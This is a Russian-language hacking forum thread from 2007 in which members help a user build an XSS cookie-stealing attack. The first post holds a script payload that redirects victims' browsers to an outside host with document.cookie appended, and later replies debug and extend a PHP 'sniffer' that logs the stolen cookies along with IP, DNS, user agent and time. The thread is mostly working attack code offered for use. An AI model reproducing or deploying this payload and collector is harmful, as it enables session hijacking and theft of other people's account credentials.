Нужна помощь. Видать в запросе...

Discussion in 'Песочница' started by int15, 4 Mar 2007.

  1. int15

    int15 New Member

    Joined:
    28 Dec 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Народ, помогайте, запарился чета)
    Вот вобщем, нашёл место куда сувать XSS.
    Кидаю вот что:
    PHP:
    <script&qtdocument.location.href="http://www.humora.net.ru/Files/sniff.php"document.cookie; </script&qt;
    Где sniff.php содержит такие строки:
    PHP:
    <?
     
    $f fopen("snif.txt""a");
     
    fwrite($f$REQUEST_URI);
     
    fclose($f);
     print(
    "OK");
    ?&
    qt;
    И в итоге, чтобы записать мои куки, снифером, в snif.txt, меня перебрасывает на страницу:
    http://www.humora.net.ru/Files/sniff.phpASPSESSIONIDQSDSCRCT=DDPADKADEMNCFJPKCHBAIEAD
    где
    ASPSESSIONIDQSDSCRCT=DDPADKADEMNCFJPKCHBAIEAD - это и есть document.cookie :)
    Подскажите че нетак, плиз, а то не знаю уже че за фигня
     
  2. none222

    none222 Guest

    Reputations:
    0
    у тя он записывает тока урл. Всё дело в сниффере. Ты пишешь:
    http://www.humora.net.ru/Files/sniff.php+ document.cookie
    И переходит на урл+куки.
     
    1 person likes this.
  3. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Просто добавь знак вопроса:
    http://www.humora.net.ru/Files/sniff.php?
    В снифере замени $REQUEST_URI на "$QUERY_STRING \n"
     
  4. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    $_server['query_string']; лучше :)
     
    1 person likes this.
  5. int15

    int15 New Member

    Joined:
    28 Dec 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Cпасибо :) Чето я и правду запарился) Щас буду пробовать :)
     
  6. int15

    int15 New Member

    Joined:
    28 Dec 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Хм.. Все сделал, поставил "?" теперь это выглядит так:
    ===
    Parse error: syntax error, unexpected '?' in /var/www/user***/html/humora.net.ru/Files/sniff.php on line 6
    ===
    тут код снифера:
    ===
    <?
    $f = fopen("snif.txt", "a");
    fwrite($f, $_server['query_string']);
    fclose($f);
    print("OK");
    ?&qt;
    ===
    туплю чето опять :)
     
  7. int15

    int15 New Member

    Joined:
    28 Dec 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    аа все, уже не глючит :), новый код:
    ===
    <?php
    $f = fopen("snif.txt", "a");
    fwrite($f, $_server['query_string']);
    fclose($f);
    print("OK");
    ?>
    ===
     
  8. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    PHP:
    <?php
    if($_SERVER['QUERY_STRING']){
        
    $f fopen("log""a");
        
    fwrite($f$_SERVER['QUERY_STRING']."\n\n");
        
    fclose($f);
    }
    ?>
     
    1 person likes this.
  9. int15

    int15 New Member

    Joined:
    28 Dec 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    а может вы мне поможете к этому сниферу какие нибудь фишки прикрутить :)
    ну там чтобы он какую нибудь инфу о компе собирал, какой нето Ip-адрес, браузер или еще чего-нибудь по удобней :) ?
     
  10. none222

    none222 Guest

    Reputations:
    0
    тебе нужно тока версия браузера, урл и ип. Ничё лишнего. Ну можешь ещё сделать, чтоб одинаковые записи удалялись;) В иненте полно пхп-снифферов, даже на этом сайте есть выложенный где-то... Поиском пройдись
     
  11. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    можно дату, ип, днс и т.д...
    PHP:
    <?php
    if($_SERVER['QUERY_STRING']){
    $ip getenv("REMOTE_ADDR");
    $time date("H:i:s");
    $useragent getenv("HTTP_USER_AGENT");
    $dns gethostbyaddr($ip);
    $fo fopen("log.txt""a");
    fwrite($fo"Query: ".$_SERVER['QUERY_STRING']."  IP: ".$ip."  DNS: ".$dns."  UserAgent: ".$useragent."  Time: ".$time."\n\n");
    fclose($fo);
    }
    ?>
    смотри исходники полноценныхх снифферов, например от kanick'a ....
     
Loading...